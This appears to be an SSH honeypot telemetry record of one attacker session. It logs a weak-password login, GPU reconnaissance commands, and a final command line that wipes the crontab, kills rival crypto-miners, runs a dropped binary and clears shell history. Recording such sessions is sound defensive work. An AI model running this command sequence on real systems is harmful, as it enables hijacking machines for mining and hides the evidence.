sshoney · ssh honeypot telemetry

Session
frank-salty-stonechat
Source
104.43.56.65
Protocol
ssh/exec
User
dolphinscheduler
Auth attempts
1
Commands
10
Transcript
1.3 K

Client

SSH-2.0-Go
exec: uname -s -v -n -r -m

Credentials attempted

usernamepasswordmethodtier result
dolphinscheduler123456passwordotheraccepted

Transcript

22:21:11 $ uname -s -v -n -r -m
         Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64
22:21:13 $ nproc
         8
22:21:15 $ lspci | egrep VGA && lspci | grep 3D
         01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)
22:21:17 $ uname -m
         x86_64
22:21:20 $ uname -n | awk '{printf $1}'
         localhost
22:21:22 $ uname -m | awk '{printf $1}'
         x86_64
22:21:24 $ uname -r | awk '{printf $1}'
         7.0.0-22-generic
22:21:26 $ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1
         NVIDIA GeForce RTX
22:21:28 $ nvidia-smi -q | grep "Product Name"
             Product Name                          : NVIDIA GeForce RTX 3060
22:22:02 $ crontab -r ; chattr -iae ~/.ssh/authorized_keys >/dev/null 2>&1 ; cd /var/tmp ; rm -rf /dev/shm/.x /dev/shm/rete* /var/tmp/payload /tmp/.diicot /tmp/kuak ; chattr -iae /var/tmp/Documents/.diicot ; chattr -iae /var/tmp/.update-logs/History ; chattr -iae /var/tmp/.update-logs/Update ; rm -rf /var/tmp/.update-logs /var/tmp/Documents ; mkdir /var/tmp/Documents > /dev/null 2>&1 ; cd /var/tmp/ ; pkill Opera ; rm -rf /var/tmp/Documents /var/tmp/.update-logs ; rm -rf xmrig  .diicot .black Opera ; rm -rf .black xmrig.1 ; pkill cnrig ; pkill java ; killall java ;  pkill xmrig ; killall cnrig ; killall xmrig ;cd /var/tmp/ ; chmod 777 UzwoYiaZ ; ./UzwoYiaZ </dev/null &>/dev/null & disown ; history -c ; rm -rf .bash_history ~/.bash_history